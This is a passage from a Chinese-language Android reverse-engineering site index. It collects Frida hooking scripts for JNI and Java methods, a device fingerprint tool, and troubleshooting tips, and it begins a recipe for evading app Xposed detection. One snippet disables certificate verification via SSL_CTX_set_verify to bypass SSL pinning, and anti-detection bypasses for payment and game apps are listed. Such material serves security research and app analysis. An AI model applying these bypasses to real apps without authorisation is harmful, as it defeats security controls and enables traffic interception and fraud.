enumerateJNIFunctions(TARGET_LIBRARY); // Method 2: Wait for library to load then enumerate // (If not found above, will automatically enable monitoring) 使用方法: frida -U -f com.target.app -l enumerate_jni.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:8:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-41-枚举-so-文件中的所有-jni-函数"},{"categories":null,"collections":null,"content":"脚本 4.2: Hook 单个 JNI 函数 何时使用: 已知具体的 JNI 函数名,需要追踪其参数和返回值。 工作原理: 通过函数名直接定位并 Hook,解析 JNIEnv 指针和参数。 // hook_jni_function.js - Hook single JNI function function hookJNIFunction(libraryName, functionName) { var funcAddr = Module.findExportByName(libraryName, functionName); if (!funcAddr) { console.log(\"[-] Function not found: \" + functionName); return; } console.log(\"[+] Hooking: \" + functionName); console.log(\" Address: \" + funcAddr); Interceptor.attach(funcAddr, { onEnter: function (args) { console.log(\"\\n\" + \"=\".repeat(60)); console.log(\"[JNI CALL] \" + functionName); console.log(\"=\".repeat(60)); console.log(\" JNIEnv*: \" + args[0]); console.log(\" jobject/jclass: \" + args[1]); // Try to parse parameters (starting from args[2]) for (var i = 2; i \u003c 8 \u0026\u0026 i \u003c args.length; i++) { var arg = args[i]; console.log(\" arg[\" + (i - 2) + \"]: \" + arg); if (arg.isNull()) { console.log(\" -\u003e null\"); continue; } // Try to parse as jstring try { var env = Java.vm.getEnv(); var strPtr = env.getStringUtfChars(arg, null); var str = strPtr.readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 500) { console.log(' -\u003e jstring: \"' + str + '\"'); } env.releaseStringUtfChars(arg, strPtr); continue; } catch (e) {} // Try to parse as integer try { var intVal = arg.toInt32(); console.log( \" -\u003e jint: \" + intVal + \" (0x\" + intVal.toString(16) + \")\" ); continue; } catch (e) {} // Try to parse as byte array try { var env = Java.vm.getEnv(); var arrayLen = env.getArrayLength(arg); if (arrayLen \u003e 0 \u0026\u0026 arrayLen \u003c 1024) { console.log(\" -\u003e jbyteArray[\" + arrayLen + \"]\"); var bytePtr = env.getByteArrayElements(arg, null); var bytes = bytePtr.readByteArray(Math.min(arrayLen, 64)); console.log( hexdump(bytes, { offset: 0, length: Math.min(arrayLen, 64), header: false, ansi: false, }) ); env.releaseByteArrayElements(arg, bytePtr, 0); } continue; } catch (e) {} console.log(\" -\u003e Pointer: \" + arg); } }, onLeave: function (retval) { console.log(\"\\n [Return Value]: \" + retval); if (retval.isNull()) { console.log(\" -\u003e null\"); return; } // Try to parse return value try { var env = Java.vm.getEnv(); var strPtr = env.getStringUtfChars(retval, null); var str = strPtr.readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 500) { console.log(' -\u003e jstring: \"' + str + '\"'); } env.releaseStringUtfChars(retval, strPtr); } catch (e) { try { var intVal = retval.toInt32(); console.log(\" -\u003e jint: \" + intVal); } catch (e2) { console.log(\" -\u003e Pointer: \" + retval); } } console.log(\"=\".repeat(60) + \"\\n\"); }, }); console.log(\"[+] Hook configured\\n\"); } // ======================================== // Usage example // ======================================== hookJNIFunction(\"libnative-lib.so\", \"Java_com_example_app_Crypto_encrypt\"); 使用方法: frida -U -f com.target.app -l hook_jni_function.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:8:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-42-hook-单个-jni-函数"},{"categories":null,"collections":null,"content":"脚本 4.3: 批量 Hook 所有 JNI 函数 何时使用: 不确定哪个 JNI 函数与目标功能相关,需要全部拦截观察。 工作原理: 枚举所有 JNI 函数,批量设置 Hook。 // hook_all_jni.js - Batch hook all JNI functions function hookAllJNI(libraryName) { var module = Process.findModuleByName(libraryName); if (!module) { console.log(\"[-] Module not found, waiting for load: \" + libraryName); Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function (args) { var path = args[0].readCString(); if (path \u0026\u0026 path.includes(libraryName)) { this.target = true; } }, onLeave: function (retval) { if (this.target \u0026\u0026 !retval.isNull()) { setTimeout(function () { hookAllJNI(libraryName); }, 500); } }, }); return; } console.log(\"[+] Starting batch JNI function hook: \" + libraryName); var exports = module.enumerateExports(); var hookedCount = 0; exports.forEach(function (exp) { if (!exp.name.startsWith(\"Java_\")) { return; } try { Interceptor.attach(exp.address, { onEnter: function (args) { console.log(\"\\n[JNI] \" + exp.name); // Simplified output, only print first 3 parameters for (var i = 0; i \u003c 5 \u0026\u0026 i \u003c args.length; i++) { var arg = args[i]; if (i === 0) { console.log(\" JNIEnv*: \" + arg); } else if (i === 1) { console.log(\" jobject: \" + arg); } else { console.log(\" arg[\" + (i - 2) + \"]: \" + arg); // Try to parse string if (!arg.isNull()) { try { var env = Java.vm.getEnv(); var str = env.getStringUtfChars(arg, null).readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 100) { console.log(' -\u003e \"' + str + '\"'); } env.releaseStringUtfChars(arg, str); } catch (e) {} } } } }, onLeave: function (retval) { console.log(\" Return: \" + retval); }, }); hookedCount++; } catch (e) { console.log(\"[-] Hook failed: \" + exp.name); } }); console.log(\"[+] Successfully hooked \" + hookedCount + \" JNI functions\"); } // ======================================== // Usage // ======================================== hookAllJNI(\"libnative-lib.so\"); 使用方法: frida -U -f com.target.app -l hook_all_jni.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:8:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-43-批量-hook-所有-jni-函数"},{"categories":null,"collections":null,"content":"脚本 4.4: Hook JNI_OnLoad 函数 何时使用: 需要在 Native 库加载时的初始化阶段进行分析。 工作原理: Hook JNI_OnLoad,这是 Native 库加载时系统调用的第一个函数。 // hook_jni_onload.js - Hook JNI_OnLoad function function hookJNIOnLoad(libraryName) { var onLoadAddr = Module.findExportByName(libraryName, \"JNI_OnLoad\"); if (!onLoadAddr) { console.log(\"[-] JNI_OnLoad not found: \" + libraryName); return; } console.log(\"[+] Hooking JNI_OnLoad\"); console.log(\" Address: \" + onLoadAddr); Interceptor.attach(onLoadAddr, { onEnter: function (args) { console.log(\"\\n\" + \"=\".repeat(60)); console.log(\"[JNI_OnLoad] Called\"); console.log(\"=\".repeat(60)); console.log(\" JavaVM*: \" + args[0]); console.log(\" reserved: \" + args[1]); this.vm = args[0]; }, onLeave: function (retval) { var jniVersion = retval.toInt32(); console.log(\" Return JNI Version: \" + jniVersion); // Parse version number var major = (jniVersion \u003e\u003e 16) \u0026 0xffff; var minor = jniVersion \u0026 0xffff; console.log(\" -\u003e JNI_VERSION_\" + major + \"_\" + minor); console.log(\"=\".repeat(60)); // After JNI_OnLoad completes, can start hooking other JNI functions setTimeout(function () { console.log( \"\\n[+] JNI_OnLoad completed, starting to hook JNI functions...\\n\" ); // Can call other hook functions here }, 100); }, }); } // Monitor library loading Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function (args) { var path = args[0].readCString(); console.log(\"[dlopen] \" + path); if (path \u0026\u0026 path.includes(\"libnative-lib.so\")) { console.log(\"[+] Detected target library loading\"); this.target = true; } }, onLeave: function (retval) { if (this.target \u0026\u0026 !retval.isNull()) { setTimeout(function () { hookJNIOnLoad(\"libnative-lib.so\"); }, 100); } }, }); console.log(\"[+] Monitoring library loading...\"); 使用方法: frida -U -f com.target.app -l hook_jni_onload.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:8:4","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-44-hook-jni_onload-函数"},{"categories":null,"collections":null,"content":"5. 通用 Hook 模板 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:9:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#5-通用-hook-模板"},{"categories":null,"collections":null,"content":"脚本 5.1: Hook Java 方法(支持重载) 何时使用: 需要拦截某个 Java 类的特定方法。 工作原理: 使用 Java.use() 加载类,然后替换方法实现。 // hook_java_method.js - Universal Java method hook template function hookJavaMethod(className, methodName) { Java.perform(function () { try { var targetClass = Java.use(className); // Get all overloads var overloads = targetClass[methodName].overloads; console.log( \"[+] Found \" + overloads.length + \" overloads: \" + className + \".\" + methodName ); // Hook all overloads overloads.forEach(function (overload) { overload.implementation = function () { console.log(\"\\n[CALL] \" + className + \".\" + methodName); // Print parameters for (var i = 0; i \u003c arguments.length; i++) { console.log(\" arg[\" + i + \"]: \" + arguments[i]); } // Call original method var result = this[methodName].apply(this, arguments); console.log(\" Return: \" + result); return result; }; }); console.log(\"[+] Hook complete\"); } catch (e) { console.log(\"[-] Hook failed: \" + e); } }); } // Usage example hookJavaMethod(\"android.util.Log\", \"d\"); hookJavaMethod(\"com.example.app.Crypto\", \"encrypt\"); 使用方法: frida -U -f com.target.app -l hook_java_method.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:9:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-51-hook-java-方法支持重载"},{"categories":null,"collections":null,"content":"脚本 5.2: Hook 类的所有方法 何时使用: 需要观察某个类的所有方法调用情况。 工作原理: 使用反射获取类的所有方法,批量 Hook。 // hook_all_methods.js - Hook all methods of a class function hookAllMethods(className) { Java.perform(function () { try { var targetClass = Java.use(className); var methods = targetClass.class.getDeclaredMethods(); console.log(\"[+] Class: \" + className); console.log(\"[+] Found \" + methods.length + \" methods\\n\"); var hookedCount = 0; methods.forEach(function (method) { try { var methodName = method.getName(); // Skip certain methods if (methodName === \"toString\" || methodName === \"hashCode\") { return; } var overloads = targetClass[methodName].overloads; overloads.forEach(function (overload) { overload.implementation = function () { console.log(\"\\n[\" + className + \"] \" + methodName + \"()\"); if (arguments.length \u003e 0) { console.log(\" Parameters:\"); for (var i = 0; i \u003c arguments.length; i++) { console.log(\" [\" + i + \"] \" + arguments[i]); } } var result = this[methodName].apply(this, arguments); console.log(\" Return: \" + result); return result; }; }); hookedCount++; } catch (e) { // Some methods may not be hookable } }); console.log(\"[+] Successfully hooked \" + hookedCount + \" methods\"); } catch (e) { console.log(\"[-] Failed: \" + e); } }); } // Usage hookAllMethods(\"com.example.app.utils.CryptoUtil\"); 使用方法: frida -U -f com.target.app -l hook_all_methods.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:9:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-52-hook-类的所有方法"},{"categories":null,"collections":null,"content":"脚本 5.3: Hook 构造函数 何时使用: 需要监控对象创建时机和构造参数。 工作原理: Hook 类的 $init 方法(Frida 中构造函数的特殊名称)。 // hook_constructor.js - Hook class constructor function hookConstructor(className) { Java.perform(function () { try { var targetClass = Java.use(className); // $init is the special name for constructors var overloads = targetClass.$init.overloads; console.log( \"[+] Found \" + overloads.length + \" constructors: \" + className ); overloads.forEach(function (overload) { overload.implementation = function () { console.log(\"\\n[NEW] \" + className + \"()\"); if (arguments.length \u003e 0) { console.log(\" Constructor parameters:\"); for (var i = 0; i \u003c arguments.length; i++) { console.log(\" [\" + i + \"] \" + arguments[i]); } } // Call original constructor var result = this.$init.apply(this, arguments); console.log(\" Instance: \" + this); return result; }; }); console.log(\"[+] Constructor hook complete\"); } catch (e) { console.log(\"[-] Failed: \" + e); } }); } // Usage hookConstructor(\"javax.crypto.spec.SecretKeySpec\"); 使用方法: frida -U -f com.target.app -l hook_constructor.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:9:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-53-hook-构造函数"},{"categories":null,"collections":null,"content":"6. C 代码辅助工具 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:10:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#6-c-代码辅助工具"},{"categories":null,"collections":null,"content":"工具 6.1: 算法仿真工具 何时使用: 在 IDA/Ghidra 中看到加密/解密算法逻辑,需要提取出来独立验证。 示例: XOR 加密算法仿真 // emulate_xor_encrypt.c - Emulate XOR encryption algorithm #include \u003cstdio.h\u003e #include \u003cstring.h\u003e #include \u003cstdint.h\u003e // Algorithm extracted from IDA pseudocode void encrypt_data(uint8_t* data, size_t len, uint8_t key) { for (size_t i = 0; i \u003c len; i++) { data[i] = (data[i] ^ key) + 5; } } // Corresponding decryption algorithm void decrypt_data(uint8_t* data, size_t len, uint8_t key) { for (size_t i = 0; i \u003c len; i++) { data[i] = (data[i] - 5) ^ key; } } // Helper function: Print hexadecimal void print_hex(const char* label, uint8_t* data, size_t len) { printf(\"%s: \", label); for (size_t i = 0; i \u003c len; i++) { printf(\"%02x \", data[i]); } printf(\"\\n\"); } int main() { // Test data uint8_t plaintext[] = \"Hello, Android Reverse Engineering!\"; size_t len = strlen((char*)plaintext); uint8_t key = 0x5A; printf(\"=== XOR Encryption Algorithm Test ===\\n\\n\"); // Plaintext printf(\"Plaintext: %s\\n\", plaintext); print_hex(\"Plaintext HEX\", plaintext, len); printf(\"\\n\"); // Encrypt encrypt_data(plaintext, len, key); printf(\"After encryption:\\n\"); print_hex(\"Ciphertext HEX\", plaintext, len); printf(\"\\n\"); // Decrypt decrypt_data(plaintext, len, key); printf(\"After decryption: %s\\n\", plaintext); print_hex(\"Decrypted HEX\", plaintext, len); return 0; } 编译和运行: # Compile the program gcc emulate_xor_encrypt.c -o emulate # Run the program ./emulate # Output: # === XOR Encryption Algorithm Test === # # Plaintext: Hello, Android Reverse Engineering! # Plaintext HEX: 48 65 6c 6c 6f 2c 20 41 6e 64 72 6f 69 64 ... # # After encryption: # Ciphertext HEX: 17 30 39 39 32 79 75 16 39 31 2d 32 36 31 ... # # After decryption: Hello, Android Reverse Engineering! ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:10:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#工具-61-算法仿真工具"},{"categories":null,"collections":null,"content":"工具 6.2: 设备指纹生成工具 何时使用: 需要批量生成虚拟设备的指纹信息用于测试。 示例: 设备指纹生成 // device_fingerprint.c - 设备指纹生成工具 #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003ctime.h\u003e // Execute shell command and get output char* execute_command(const char* cmd) { FILE* fp = popen(cmd, \"r\"); if (!fp) return NULL; char* result = malloc(256); if (fgets(result, 256, fp) == NULL) { free(result); pclose(fp); return NULL; } // Remove newline character result[strcspn(result, \"\\n\")] = 0; pclose(fp); return result; } // Get system property char* get_prop(const char* key) { char command[256]; snprintf(command, sizeof(command), \"getprop %s\", key); return execute_command(command); } int main() { printf(\"{\\n\"); printf(\" \\\"timestamp\\\": %ld,\\n\", time(NULL)); printf(\" \\\"device\\\": {\\n\"); // Device info const char* props[] = { \"ro.product.brand\", \"ro.product.model\", \"ro.product.manufacturer\", \"ro.product.device\", \"ro.build.version.release\", \"ro.build.version.sdk\", \"ro.build.fingerprint\", \"ro.serialno\", \"ro.boot.serialno\" }; int num_props = sizeof(props) / sizeof(props[0]); for (int i = 0; i \u003c num_props; i++) { char* value = get_prop(props[i]); if (value) { // Extract last part of property name const char* last_dot = strrchr(props[i], '.'); const char* key = last_dot ? last_dot + 1 : props[i]; printf(\" \\\"%s\\\": \\\"%s\\\"\", key, value); if (i \u003c num_props - 1) { printf(\",\"); } printf(\"\\n\"); free(value); } } printf(\" }\\n\"); printf(\"}\\n\"); return 0; } 编译和使用: # Push to device and compile adb push device_fingerprint.c /data/local/tmp/ adb shell cd /data/local/tmp gcc device_fingerprint.c -o fingerprint chmod +x fingerprint # Run the program ./fingerprint # Output JSON format device fingerprint: # { # \"timestamp\": 1734518400, # \"device\": { # \"brand\": \"google\", # \"model\": \"Pixel 5\", # \"manufacturer\": \"Google\", # ... # } # } # Save to file ./fingerprint \u003e /sdcard/device_info.json ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:10:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#工具-62-设备指纹生成工具"},{"categories":null,"collections":null,"content":"常见问题排查 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:11:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#常见问题排查"},{"categories":null,"collections":null,"content":"问题 1: Hook 没有生效 可能原因: Hook 时机太晚,目标函数已经执行完毕 类名或方法名拼写错误 使用了 Attach 模式,但 DEX 还未加载 解决方案: # 1. Use Spawn mode (Recommended) frida -U -f com.target.app -l script.js --no-pause # 2. Check if class name is correct Java.perform(function () { Java.enumerateLoadedClasses({ onMatch: function (className) { if (className.indexOf(\"Crypto\") !== -1) { console.log(\"[+] Found class: \" + className); } }, onComplete: function () {}, }); }); # 3. Delayed hook (if using Attach mode) setTimeout(function () { hookJavaMethod(\"com.example.app.Crypto\", \"encrypt\"); }, 2000); ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:11:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#问题-1-hook-没有生效"},{"categories":null,"collections":null,"content":"问题 2: Hook JNI 函数时 App 崩溃 可能原因: 读取了无效的指针 JNIEnv 使用不当 字节数组释放问题 解决方案: // Add try-catch protection Interceptor.attach(funcAddr, { onEnter: function (args) { try { // Check pointer validity first if (!args[2].isNull()) { var env = Java.vm.getEnv(); // ... Process parameters } } catch (e) { console.log(\"[-] Caught exception: \" + e); // Don't re-throw to avoid crash } }, }); ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:11:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#问题-2-hook-jni-函数时-app-崩溃"},{"categories":null,"collections":null,"content":"问题 3: RPC 调用时提示类不存在 可能原因: 类还未加载到内存 类名错误或被混淆 使用了动态加载的 DEX 解决方案: # On Python side, wait for class to load first api.wait_for_class(\"com.example.app.Crypto\") # Custom wait function // Or check in Frida script rpc.exports = { callEncrypt: function (input) { var result = \"\"; Java.perform(function () { // Check if class exists first try { var Crypto = Java.use(\"com.example.app.Crypto\"); result = Crypto.encrypt(input); } catch (e) { // Try to enumerate and find Java.enumerateLoadedClasses({ onMatch: function (className) { if (className.includes(\"Crypto\")) { console.log(\"[+] Found: \" + className); } }, onComplete: function () {}, }); result = \"ERROR: \" + e; } }); return result; }, }; ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:11:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#问题-3-rpc-调用时提示类不存在"},{"categories":null,"collections":null,"content":"问题 4: SSL Pinning 绕过失败 可能原因: 应用使用了自定义的 SSL Pinning 实现 Native 层实现的 Pinning 使用了第三方网络库(如 Cronet) 解决方案: // 1. Add more hook points Java.perform(function () { // Hook custom TrustManager Java.enumerateLoadedClasses({ onMatch: function (className) { if ( className.includes(\"TrustManager\") || className.includes(\"Certificate\") ) { console.log(\"[+] Found suspicious class: \" + className); try { var clazz = Java.use(className); var methods = clazz.class.getDeclaredMethods(); methods.forEach(function (method) { var methodName = method.getName(); if (methodName.includes(\"check\") || methodName.includes(\"verify\")) { console.log(\"[+] Hook: \" + className + \".\" + methodName); // Batch hook } }); } catch (e) {} } }, onComplete: function () {}, }); }); // 2. Hook native layer SSL_CTX_set_verify var SSL_CTX_set_verify = Module.findExportByName( \"libssl.so\", \"SSL_CTX_set_verify\" ); if (SSL_CTX_set_verify) { Interceptor.attach(SSL_CTX_set_verify, { onEnter: function (args) { console.log(\"✓ [SSL_CTX_set_verify] Bypass\"); args[1] = ptr(0); // SSL_VERIFY_NONE }, }); } ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:11:4","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#问题-4-ssl-pinning-绕过失败"},{"categories":null,"collections":null,"content":"相关资源 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:12:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#相关资源"},{"categories":null,"collections":null,"content":"场景延伸 Recipe: 抓包分析 Android 应用的网络流量 - 配合 SSL Pinning 绕过使用 Recipe: 分析并提取 Android 应用的加密密钥 - 密码学分析的完整流程 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:12:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#场景延伸"},{"categories":null,"collections":null,"content":"工具深入 Frida 使用指南 - 完整的 Frida 使用手册 Frida 内部原理 - 深入理解 Frida 工作机制 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:12:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#工具深入"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: Frida 脚本的价值在于「精准定位」— 通过 hook 关键方法的参数和返回值，快速理解数据流向，省去阅读大量反编译代码的时间。 案例: 音乐 App 分析 - 综合运用多个脚本 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:12:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#案例分析"},{"categories":null,"collections":null,"content":"参考资料 JNI 函数速查 常见加密算法识别 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:12:4","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#参考资料"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:13:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#快速参考"},{"categories":null,"collections":null,"content":"脚本速查表 需求 使用脚本 难度 绕过 TracerPid 检测 bypass_tracerpid.js ⭐ 隐藏 Frida 字符串 hide_frida_strings.js ⭐ 绕过 SSL Pinning bypass_ssl_pinning.js ⭐ 拦截网络请求 intercept_okhttp.js ⭐⭐ RPC 调用加密函数 rpc_agent.js + rpc_controller.py ⭐⭐ 枚举 JNI 函数 enumerate_jni.js ⭐ Hook JNI 函数 hook_jni_function.js ⭐⭐ 批量 Hook JNI hook_all_jni.js ⭐⭐ Hook 构造函数 hook_constructor.js ⭐ ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:13:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本速查表"},{"categories":null,"collections":null,"content":"常用命令 # 1. Spawn mode run script (recommended) frida -U -f com.target.app -l script.js --no-pause # 2. Attach mode frida -U com.target.app -l script.js # 3. List all processes frida-ps -Ua # 4. Interactive REPL frida -U com.target.app # 5. Load multiple scripts frida -U -f com.target.app -l script1.js -l script2.js --no-pause # 6. Export output to file frida -U com.target.app -l script.js \u003e output.log 2\u003e\u00261 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:13:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#常用命令"},{"categories":null,"collections":null,"content":"最佳实践 优先使用 Spawn 模式 - 确保在应用启动前 Hook 就绪 添加异常处理 - 防止脚本错误导致应用崩溃 适度打印日志 - 过多日志会影响性能 模块化组织 - 将常用函数封装为独立模块 保存脚本库 - 建立自己的脚本模板库 💡 提示: 这些脚本都是模板,实际使用时需要根据目标 App 的具体情况进行调整。建议先理解脚本原理,再修改关键参数(如类名、方法名、SO 文件名等)。 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:13:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#最佳实践"},{"categories":null,"collections":null,"content":"绕过应用的 Xposed 检测 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Xposed 框架指南 - 理解 Xposed Hook 原理 Magisk \u0026 LSPosed 原理 - Root 环境与模块管理 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:0:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#绕过应用的-xposed-检测"},{"categories":null,"collections":null,"content":"问题场景 你可能遇到以下情况： App 启动即退出：App 启动后弹出\"检测到 Xposed 框架，禁止运行\"，随即闪退 功能受限：金融/支付类 App 检测到 Xposed 后拒绝提供服务（无法转账、支付） 账号封禁：游戏检测到 Xposed 环境后触发风控，导致封号 分析受阻：需要在 Xposed 环境下分析 App 行为，但被反调试拦截 通用方案失效：已经使用 RootCloak Plus 等通用隐藏模块，但仍被检测到 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:1:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:2:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Xposed 框架：EdXposed 或 LSPosed（推荐 LSPosed，更稳定） Root 设备：已 Root 的 Android 设备或模拟器（如 Genymotion） 目标 APK：需要绕过检测的应用安装包 Xposed 模块开发环境：Android Studio（用于编写自定义绕过模块） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:2:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 检测","uri":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 JEB/Jadx：反编译工具，用于分析 App 的检测代码 RootCloak Plus：通用 Xposed/Root 隐藏模块（快速测试） Hide My Applist：高级应用列表和框架隐藏工具 MT Manager：Android 文件管理器，查看系统文件 Xposed 源码：EdXposed 源码（定制化框架需求） ","date":"2025-02-23","objectID":"/reverse_engineering/android/01-recipes/anti-detection/xposed_anti_debugging/:2:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","Hook"],"title":"绕过应用的 Xposed 